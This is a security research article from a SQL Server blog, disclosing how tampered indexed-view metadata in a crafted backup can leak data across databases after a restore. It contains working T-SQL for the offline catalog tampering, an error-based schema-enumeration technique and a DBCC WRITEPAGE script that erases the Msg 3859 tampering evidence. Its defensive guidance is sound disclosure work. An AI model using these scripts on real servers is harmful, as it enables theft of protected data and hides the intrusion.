{"id":110071,"date":"2026-05-18T12:00:00","date_gmt":"2026-05-18T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=110071"},"modified":"2026-05-13T15:52:15","modified_gmt":"2026-05-13T15:52:15","slug":"how-tampered-indexed-view-metadata-can-break-cross-database-isolation-in-sql-server","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-tampered-indexed-view-metadata-can-break-cross-database-isolation-in-sql-server\/","title":{"rendered":"How tampered indexed-view metadata can break cross-database isolation in SQL Server"},"content":{"rendered":"\n<p><strong>Indexed view tampering in SQL Server backups can expose cross-database data after restore. In this article, you&#8217;ll learn how restore-boundary attacks work &#8211; and how to defend against them.<\/strong><\/p>\n\n\n\n<p>In <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/exploiting-sql-server-date-correlation-optimization-how-tampered-backups-enable-cross%e2%80%91database-data-leaks\/\" target=\"_blank\" rel=\"noreferrer noopener\">my previous article<\/a>, I showed how <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/#\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server\u2019s<\/a> own internal mechanisms could be used as a data exfiltration channel when a tampered backup crossed the restore boundary. This time, I want to explore a different variation of the same broader problem.<\/p>\n\n\n\n<p>This article describes a restore-boundary weakness involving <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/sql-server-indexed-views-the-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">indexed views<\/a>. An attacker prepares a database backup on an attacker-controlled instance, tampers with the persisted definition of an indexed view, and delivers that database through an otherwise ordinary backup-and-restore workflow. <\/p>\n\n\n\n<p>After the restore, SQL Server evaluates the preserved <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/sql-server-metadata-functions-the-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">metadata<\/a> during indexed-view optimizer-driven execution. Data from databases the attacker cannot directly query may still be pulled into the attacker&#8217;s own restored database through trusted internal processing paths. This is a clear <a href=\"https:\/\/www.red-gate.com\/simple-talk\/devops\/data-privacy-and-protection\/introduction-to-sql-server-security-part-6\/\" target=\"_blank\" rel=\"noreferrer noopener\">cross-database confidentiality<\/a> problem.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-why-is-it-so-dangerous\">Why is it so dangerous?<\/h4>\n\n\n\n<p>The attacker doesn&#8217;t need code execution on the host, elevated server <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-access-control-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">privileges<\/a> on the target, or direct access to the victim database. The hard part happens offline, before the backup is ever restored. On the target system, the attacker only needs the ability to restore the crafted backup and perform normal operations inside the restored database.<\/p>\n\n\n\n<p>That turns restore itself into part of the attack surface. Microsoft <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/backup-restore\/back-up-and-restore-of-sql-server-databases?view=sql-server-ver17#security-risk-of-restoring-backups-from-untrusted-sources\" target=\"_blank\" rel=\"noreferrer noopener\">explicitly warns<\/a> that restoring backups from unknown or untrusted sources is a high-risk action because a malicious backup can compromise the wider environment before defensive checks run.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"556\" src=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-15.png\" alt=\"An image showing the restore-boundary attack flow in SQL Server.\" class=\"wp-image-110073\" srcset=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-15.png 992w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-15-300x168.png 300w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-15-768x430.png 768w\" sizes=\"auto, (max-width: 992px) 100vw, 992px\" \/><figcaption class=\"wp-element-caption\"><em>The restore-boundary attack flow in SQL Server<\/em><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-sql-server-indexed-views-from-a-security-perspective\">SQL Server indexed views from a security perspective<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/sql-server-indexed-views-the-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">Indexed views<\/a> are not <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/mastering-sql-views\/\" target=\"_blank\" rel=\"noreferrer noopener\">ordinary views<\/a>. SQL Server requires them to be schema-bound, deterministic, and backed by a unique <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/effective-clustered-indexes\/\" target=\"_blank\" rel=\"noreferrer noopener\">clustered index<\/a>. Their contents are materialized and maintained as underlying base tables change. Microsoft also notes that <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/tools-sql-server\/routine-sql-dml-testing-for-the-unenthusiastic-tester\/\" target=\"_blank\" rel=\"noreferrer noopener\">data manipulation language (DML)<\/a> against base tables referenced by indexed views can incur additional maintenance cost, because the engine updates the indexed views as part of normal processing. <\/p>\n\n\n\n<p>In other words, indexed views are deeply integrated into trusted engine behavior. That makes them especially interesting from a security perspective. They are engine-managed objects that participate in maintenance and optimization decisions &#8211; not just stored query text.<\/p>\n\n\n\n<p>That trusted status is exactly what makes persisted <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/exploiting-sql-server-date-correlation-optimization-how-tampered-backups-enable-cross%E2%80%91database-data-leaks\/\" target=\"_blank\" rel=\"noreferrer noopener\">tampering<\/a> dangerous. If an attacker can alter the stored definition offline and preserve that altered state inside a backup, the engine may later treat the restored object as legitimate metadata. The definition would never have passed ordinary <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/solving-complex-t-sql-problems-step-by-step\/\" target=\"_blank\" rel=\"noreferrer noopener\">T-SQL<\/a> validation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-sql-server-indexed-views-the-security-vulnerabilities-explained\">SQL Server indexed views: the security vulnerabilities explained<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"554\" src=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-16.png\" alt=\"A graph showing where the trust boundary fails.\" class=\"wp-image-110075\" srcset=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-16.png 992w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-16-300x168.png 300w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-16-768x429.png 768w\" sizes=\"auto, (max-width: 992px) 100vw, 992px\" \/><figcaption class=\"wp-element-caption\"><em>Where the trust boundary fails<\/em><\/figcaption><\/figure>\n\n\n\n<p>At the heart of the issue is a mismatch between how SQL Server validates metadata when it&#8217;s created, and how it treats the same metadata after restore. Under normal conditions, indexed views are subject to strict rules. But if an attacker directly modifies the persisted definition on an attacker-controlled instance using a <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/diagnostic-connection-for-database-administrators?view=sql-server-ver17#:~:text=not%20be%20successful.-,Connect%20with%20DAC,-By%20default%2C%20the\" target=\"_blank\" rel=\"noreferrer noopener\">DAC connection<\/a> and allow updates, those rules can be bypassed offline. <\/p>\n\n\n\n<p>Once the altered database is backed up, the resulting .bak file becomes a vehicle for transporting attacker-influenced metadata across an administrative trust boundary. When that backup is restored elsewhere, the metadata is loaded as part of the database state rather than reconstructed from a trusted logical definition.<\/p>\n\n\n\n<div id=\"callout-block_a1a334d0701988d80cb5e73248525568\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><strong>Key insight<\/strong><br>The restore path does not regenerate view definitions from trusted sources &#8211; it loads them directly from a persisted database state. These can carry attacker-controlled logic that SQL Server&#8217;s own maintenance routines will later execute.<\/p>\n\n<\/div>\n<\/div> \n\n\n<p>The security consequence is subtle but serious. The attacker&#8217;s login on the target instance may be correctly denied direct access to another database. However, a later DML operation inside the attacker&#8217;s own restored database can trigger indexed-view optimizer-driven execution that consults the tampered metadata. If that metadata includes logic that reaches across databases, SQL Server ends up performing work that defeats the intended isolation boundary.<\/p>\n\n\n\n<section id=\"my-first-block-block_1986415222d9028ea779adf355a45503\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Protect your data. Demonstrate compliance.<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery &#038; masking, and demonstrate compliance with traceability across every environment.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/solutions\/use-cases\/security-and-compliance\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Learn more: Protect your data. Demonstrate compliance.\">Learn more<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-an-attacker-can-take-advantage-of-this-vulnerability-step-by-step\">How an attacker can take advantage of this vulnerability, step-by-step <\/h3>\n\n\n\n<p>The proof of concept unfolds across four stages:<\/p>\n\n\n\n<p><strong>Step 1 \u2014 Offline preparation: <\/strong>The attacker creates a legitimate database with a properly formed indexed view on an attacker-controlled SQL Server instance. Once the database is structurally sound, the attacker updates the persisted view definition directly in sys.sysobjvalues. The new definition includes a cross-database subquery that would never pass normal <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/theory-and-design\/data-control-language-aka-security\/\" target=\"_blank\" rel=\"noreferrer noopener\">data definition language (DDL)<\/a> validation. The database is backed up, producing the payload .bak file.<\/p>\n\n\n\n<p><strong>Step 2 \u2014 Restore and permission check: <\/strong>On the target SQL Server instance, the attacker restores the crafted backup and receives access only to the restored database. A direct cross-database <code>SELECT<\/code> is attempted and fails with Msg 916, which is expected as SQL Server correctly denies the explicit query.<\/p>\n\n\n\n<p><strong>Step 3 \u2014 The trigger: <\/strong>The attacker recreates a helper view (vw_tmp) inside the restored database, pointing it at the target table in the protected database via a <code>FOR XML<\/code> query. The attacker then inserts a row into the base table behind the indexed view. That DML operation triggers indexed-view maintenance. The engine consults the tampered persisted definition, which now includes logic referencing the protected database.<\/p>\n\n\n\n<p><strong>Step 4 \u2014 Data exfiltration: <\/strong>When the attacker queries the indexed view using <code>WITH(NOEXPAND)<\/code>, the <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/working-with-the-xml-data-type-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">XML<\/a> column contains rows from the protected database usernames and passwords. This is despite the attacker&#8217;s login never having been granted direct access to that database.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"556\" src=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-17.png\" alt=\"An image with a graph showing direct access denied vs indirect access succeeds.\" class=\"wp-image-110076\" srcset=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-17.png 992w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-17-300x168.png 300w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-17-768x430.png 768w\" sizes=\"auto, (max-width: 992px) 100vw, 992px\" \/><figcaption class=\"wp-element-caption\"><em>Direct access denied &#8211; indirect access succeeds<\/em><\/figcaption><\/figure>\n\n\n\n<div id=\"callout-block_a1a334d0701988d80cb5e73248525568\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><strong>NOT SQL INJECTION<\/strong><br>This is a trust failure in persisted engine metadata. The malicious code is inserted offline, preserved in a backup, and executed indirectly by trusted internal engine behavior. <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/performance-implications-of-parameterized-queries\/\" target=\"_blank\" rel=\"noreferrer noopener\">Parameterization<\/a>, <a href=\"https:\/\/www.red-gate.com\/products\/flyway\/use-cases\/code-reviews\/\" target=\"_blank\" rel=\"noreferrer noopener\">code review<\/a>, and application-level hardening do not address it.<\/p>\n\n<\/div>\n<\/div> \n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-enumerate-unknown-schemas-via-error-based-injection\">How to enumerate unknown schemas via error-based injection<\/h2>\n\n\n\n<p>Reading from a known table is bad enough but, when the attacker doesn&#8217;t know the target schema, the technique can still be used. It just requires a few more steps, as I describe in <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/exploring-errors-to-reveal-unauthorized-information\/\" target=\"_blank\" rel=\"noreferrer noopener\">this article<\/a>.<\/p>\n\n\n\n<p>The idea is to reveal the table names by using the error messages. By pointing vw_tmp at SensitiveData.sys.tables and adding a predicate that provokes a <code>CONVERT(INT, ...)<\/code> failure before access checks complete, the engine returns an error message containing the table name that caused the failure. <\/p>\n\n\n\n<p>The attacker can then iterate through table names one at a time, excluding already-discovered names in successive queries, until the full schema is mapped. They then pivot back to <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/manipulating-xml-data-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">XML<\/a> extraction via the indexed view path.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-risks-of-restored-metadata-can-and-should-you-trust-it\">The risks of restored metadata &#8211; can (and should) you trust it?<\/h2>\n\n\n\n<p>It&#8217;s tempting to dismiss this as an edge case involving unsupported catalog manipulation, but that misses the point. The real issue is not whether direct system-table writes are a supported workflow &#8211; it&#8217;s whether a downstream SQL Server instance should trust metadata that crossed a restore boundary without revalidation.<\/p>\n\n\n\n<p>This is especially relevant in managed, hosted, or multi-tenant SQL Server environments where customers are permitted to import their own backups. In those settings, restore is a content-ingestion mechanism for persisted database state, including metadata that shapes how trusted engine subsystems behave.<\/p>\n\n\n\n<p><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/backup-restore\/back-up-and-restore-of-sql-server-databases?view=sql-server-ver17&amp;security-risk-of-restoring-backups-from-untrusted-sources\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft&#8217;s official guidance<\/a> now states explicitly that restoring backups from unknown or untrusted sources is equivalent to loading untrusted executable code into the environment. That framing directly supports the architectural concern described here.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-interpret-msg-3859-as-a-security-alert\">How to interpret Msg 3859 as a security alert<\/h2>\n\n\n\n<p>SQL Server can leave behind evidence of unsupported catalog modification. When the system base tables of a database were modified directly in the past, SQL Server surfaces warning Msg 3859 during restore <em>and<\/em> when <code>DBCC CHECKCATALOG<\/code> is run:<\/p>\n\n\n\n<p><em>Msg 3859, State 1:<br>Warning: The system catalog was updated directly in database ID 7, most recently at Oct 2 2025 10:19AM.<\/em><\/p>\n\n\n\n<p>That warning deserves to be elevated from a background note to a concrete defensive trigger. A successful restore should never be treated as evidence that a backup is safe.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-where-does-sql-server-store-that-evidence\">Where does SQL Server store that evidence?<\/h4>\n\n\n\n<p>The evidence behind Msg 3859 is persisted inside the database file itself, specifically in the boot page: page 9 of file 1. That information can be observed with the undocumented <code>DBCC DBINFO<\/code> command &#8211; for example:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >-- Inspect the boot page metadata\nDBCC DBINFO(AppDB) WITH TABLERESULTS, NO_INFOMSGS<\/pre><\/div>\n\n\n\n<p>This returns a row for dbi_updSysCatalog, showing the timestamp of the last direct catalog write:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>ParentObject\u00a0\u00a0\u00a0\u00a0<\/td><td>Object<\/td><td>Field<\/td><td>Value<\/td><\/tr><tr><td>DBINFO STRUCTURE:<\/td><td>DBINFO @0x00000097195F2DB0<\/td><td>dbi_updSysCatalog<\/td><td>2025-10-02 10:19:29.877<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Additionally, <code>DBCC PAGE<\/code> allows inspection of the raw bytes on the boot page:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >DBCC TRACEON(3604)\nDBCC PAGE(Sword_of_Omens, 1, 9, 1) WITH NO_INFOMSGS;\nGO<\/pre><\/div>\n\n\n\n<p>The raw page dump reveals the timestamp value embedded at a known offset:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >...\nSlot 0, Offset 0x60, Length 1786, DumpStyle BYTE\nRecord Type = PRIMARY_RECORD        Record Attributes = Record Size = 1786\n...\n0000000000000244:   00000000 00000000 00000000 00000000 00000000  ....................\n0000000000000258:   00000000 00000000 00000000 00000000 00000000  ....................\n000000000000026C:   00000000 00000000 00000000 7326aa00 6ab30000  ............s&amp;\u00aa.j\u00b3..\n0000000000000280:   27000000 2b050000 01000000 c2465d00 a1b30000  '...+.......\u00c2F].\u00a1\u00b3..\n...<\/pre><\/div>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-anatomy-of-dbi-updsyscatalog\"><strong>Anatomy of dbi_updSysCatalog<\/strong><\/h4>\n\n\n\n<p>The dbi_updSysCatalog field is an 8-byte value stored at the end of offset 0x26C (620 decimal). In the example above, those bytes are 73 26 AA 00 6A B3 00 00. The absolute byte offset within the page is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >96 (page header) + 620 (slot offset) + 4 + 4 + 4 = offset 728<\/pre><\/div>\n\n\n\n<p>This is the exact location that defenders can inspect, so attackers may attempt to zero it out. For defenders, this is useful because the warning is not just a transient restore-time message. It is, in fact, backed by a value stored in the database file itself. This makes it possible to validate whether a database has a history of direct catalog modification <em>even after <\/em>the restore has completed &#8211; and even if the Msg 3859 output wasn&#8217;t captured at restore time.<\/p>\n\n\n\n<p>From a security standpoint, dbi_updSysCatalog is an important forensic artifact. Providing a durable clue that unsupported catalog writes occurred, it can help distinguish an ordinary restored database from one that may have been altered specifically to smuggle dangerous metadata across the restore boundary. <\/p>\n\n\n\n<p>Any environment that permits backup import or restore from untrusted sources should treat this field as part of the review process. A restore pipeline that checks for Msg 3859, validates the boot-page indicators, and escalates suspicious databases for deeper analysis, is very resilient. On the contrary, one that simply assumes that a successful restore implies a trustworthy backup, is <em>not<\/em> resilient.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-attackers-can-suppress-these-warnings\">How attackers can suppress these warnings<\/h2>\n\n\n\n<p>Knowing that dbi_updSysCatalog is the forensic signal, a determined attacker may attempt to zero it out before delivering the backup. This can be done using <code><a href=\"https:\/\/www.sqlservercentral.com\/blogs\/dbcc-writepage\" target=\"_blank\" rel=\"noreferrer noopener\">DBCC WRITEPAGE<\/a><\/code> &#8211; an undocumented command that allows direct writes to page data. Writing all-zero bytes to offset 728 sets the timestamp to the SQL Server internal equivalent of <em>1900-01-01<\/em>, which effectively clears the tampering indicator.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-example-of-an-attacker-s-anti-forensics-technique-in-detail\">Example of an attacker&#8217;s anti-forensics technique (in detail)<\/h3>\n\n\n\n<p>The steps below document a method an attacker could use to erase catalog-tampering evidence before creating the malicious backup. This is included for defender awareness, so that the absence of Msg 3859 is <em>not<\/em> treated as proof that a backup is clean!<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >-- Set database to single-user to allow page writes\nALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE;\nGO\n-- Disable page verify checksum to avoid checksum mismatch error after the write\nALTER DATABASE AppDB SET PAGE_VERIFY NONE;\nGO\n-- Zero out the dbi_updSysCatalog field at boot page offset 728 (8 bytes)\n-- This sets the timestamp to 1900-01-01, effectively erasing the tampering record\nDBCC WRITEPAGE (AppDB, 1, 9, 728, 8, 0x0000000000000000, 1);\nGO\n-- Re-enable checksum verification\nALTER DATABASE AppDB SET PAGE_VERIFY CHECKSUM;\nGO\n-- Return database to normal multi-user access\nALTER DATABASE AppDB SET MULTI_USER;\nGO<\/pre><\/div>\n\n\n\n<p>After this operation, the boot page no longer carries a non-zero dbi_updSysCatalog timestamp. A subsequent restore of the modified backup won&#8217;t trigger Msg 3859 (and a <code>DBCC CHECKCATALOG<\/code> won&#8217;t surface the warning either.)<\/p>\n\n\n\n<p>This is a critical implication for defenders: the absence of Msg 3859 is not proof that a restored database is clean! A sophisticated attacker will erase this indicator before packaging the backup. Defensive review must go beyond checking for the warning! It should include behavioral analysis of restored objects, inspection of indexed view definitions, and <a href=\"https:\/\/www.red-gate.com\/products\/redgate-monitor\/\" target=\"_blank\" rel=\"noreferrer noopener\">monitoring<\/a> for unusual internal query patterns after restore.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-defend-against-malicious-sql-server-backups\">How to defend against malicious SQL Server backups<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"880\" height=\"497\" src=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-18.png\" alt=\"An image showing the defender infographic.\" class=\"wp-image-110077\" srcset=\"https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-18.png 880w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-18-300x169.png 300w, https:\/\/www.red-gate.com\/simple-talk\/wp-content\/uploads\/2026\/04\/image-18-768x434.png 768w\" sizes=\"auto, (max-width: 880px) 100vw, 880px\" \/><figcaption class=\"wp-element-caption\"><em>Defender infographic<\/em><\/figcaption><\/figure>\n\n\n\n<p>Here are five concrete measures for operators and defenders:<\/p>\n\n\n<div class=\"block-core-list\">\n<ol class=\"wp-block-list\">\n<li><strong>Treat restore as a high-risk security boundary <\/strong>\u2014 not just an administrative task. Restoring a database from outside a trusted boundary is equivalent to importing untrusted executable state.<br><br><\/li>\n\n\n\n<li><strong>Only restore backups from within a trusted boundary. <\/strong>Platform operators who allow customer-supplied backups should treat those imports with the same caution as untrusted code.<br><br><\/li>\n\n\n\n<li><strong>Audit restore events and investigate Msg 3859. <\/strong>Any database showing this warning after restore should be reviewed before being trusted in a shared environment.<br><br><\/li>\n\n\n\n<li><strong>Isolate restore workflows and restrict who holds restore privileges. <\/strong>In shared or managed environments, restore-capable principals are security-sensitive.<br><br><\/li>\n\n\n\n<li><strong>Run <code>DBCC CHECKCATALOG<\/code> on restored databases <\/strong>as part of the acceptance process. Catalog inconsistencies may indicate prior unsupported modification.<\/li>\n<\/ol>\n<\/div>\n\n\n<p><em>I\u2019ve reported this to Microsoft, but they say it\u2019s a known behavior, so they don\u2019t consider it a security vulnerability. Don\u2019t, therefore, expect a &#8216;fix&#8217; from their side! Make sure you\u2019re implementing the right measures to prevent the issue.<\/em><\/p>\n\n\n\n<section id=\"my-first-block-block_6d6c2f64d4a838015098f7f392838ff1\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Enjoying this article? Subscribe to the Simple Talk newsletter<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/simple-talk\/subscribe\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Subscribe now: Enjoying this article? Subscribe to the Simple Talk newsletter\">Subscribe now<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-conclusion-rethinking-trust-in-persisted-metadata\">Conclusion: rethinking trust in persisted metadata<\/h2>\n\n\n\n<p>The broader lesson is ultimately about one thing: trust. SQL Server assumes that certain categories of persisted metadata are safe because they were originally created under strict rules and consumed by trusted engine subsystems. However, if that metadata can be modified offline, preserved inside a backup, and accepted across a restore boundary, restore stops being a passive administrative operation. <\/p>\n\n\n\n<p>Instead, it becomes part of the attack surface. The result? Cross-database confidentiality failure, whereby a user with access only to a restored database can <em>still<\/em> influence engine behavior in ways that expose data from elsewhere on the same instance.<\/p>\n\n\n\n<p>Whether the ultimate fix is metadata revalidation at restore time, logical reconstruction of indexed view definitions, or stricter distrust of persisted state crossing trust boundaries, the question in shared SQL Server environments is no longer just, <em>&#8220;what is this user allowed to query?&#8221;<\/em>. It&#8217;s also, <em>&#8220;what has the engine been persuaded to trust after restore?&#8221;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-appendix-full-reproduction-steps-t-sql\">Appendix: Full Reproduction Steps (T-SQL)<\/h2>\n\n\n\n<p>This appendix contains the complete T-SQL reproduction script. Test only in environments you own and control.<\/p>\n\n\n\n<p><em>The catalog tampering step is performed on a separate attacker-controlled instance solely to generate the malicious backup. Exploitation on the target instance requires only the ability to restore the backup and run DML inside the restored database under a low-privileged tenant login.<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-to-create-a-tampered-database-to-be-restored-step-1\">How to create a tampered database to be restored (step 1)<\/h3>\n\n\n\n<p><em>(Run on attacker-controlled instance)<\/em><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/* Step 1. Create a tampered DB to be restored *\/\n-- Create a db\nUSE master\nGO\nIF DB_ID('AppDB') IS NOT NULL\nBEGIN\n  ALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE AppDB\nEND\nCREATE DATABASE AppDB\nGO\nUSE AppDB\nGO\n-- Creating a couple of tables on AppDB\nDROP VIEW IF EXISTS vw_indexed\nDROP VIEW IF EXISTS vw_tmp\nDROP TABLE IF EXISTS tblTest1\nGO\nCREATE TABLE tblTest1 (RowID INT)\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT *\n      FROM tblTest1\n      FOR XML AUTO, BINARY BASE64) AS t(MyData)\nGO\n\n-- Creating an indexed view\nCREATE VIEW vw_indexed\nWITH SCHEMABINDING\nAS\nSELECT RowID,\n       CONVERT(XML, '') AS MyData\nFROM dbo.tblTest1\nGO\nCREATE UNIQUE CLUSTERED INDEX ixView ON vw_indexed(RowID)\nGO\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start has single user -- net start \"SQL Server (SQL2022)\" \/m\"TestSQLFabiano\" *\/\n\/* Make sure you are adjusting SSMS additional connection parameters to add the app name (Application Name=TestSQLFabiano) and connect as DAC *\/\n \n\/* Enable allow updates config *\/\nUSE master\nGO\nsp_configure 'allow updates',1\nGO\nRECONFIGURE WITH OVERRIDE\nGO\n\n\/* This need to be executed with SQL on single user and from a DAC connection *\/\n\/* Update view code to add read data from inline function *\/\nUSE AppDB\nGO\nDECLARE @NewCode VARCHAR(MAX)\nSET @NewCode = 'CREATE VIEW vw_indexed\nWITH SCHEMABINDING\nAS\nSELECT RowID,\n       CONVERT(XML, (SELECT MyData FROM dbo.vw_tmp)) AS MyData\nFROM dbo.tblTest1'\n\nUPDATE sys.sysobjvalues SET imageval = CONVERT(VARBINARY(MAX), @NewCode)\nWHERE objid = OBJECT_ID('vw_indexed')\nAND value = 2\nGO\nCHECKPOINT\nGO\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start the instance -- net start \"SQL Server (SQL2022)\" *\/\n\/* Reconnect on SQL using a non-dac connection *\/\n \n\/* Backup the DB, we'll restore this on instance we want to hack *\/\nEXEC xp_cmdshell 'del \/Q C:\\Temp\\Backup\\AppDB.bak', NO_OUTPUT\nGO\n-- Backup DB\nBACKUP DATABASE AppDB TO DISK = N'C:\\Temp\\Backup\\AppDB.bak' \nWITH NAME = N'AppDB-Full Database Backup'\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-to-create-a-database-with-sensitive-data-step-2\">How to create a database with sensitive data (step 2)<\/h3>\n\n\n\n<p><em>(Run on target instance)<\/em><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/* Step 2. Create Database with Sensitive Data *\/\nUSE master\nGO\nIF DB_ID('SensitiveData') IS NOT NULL\nBEGIN\n  ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE SensitiveData\nEND\nCREATE DATABASE 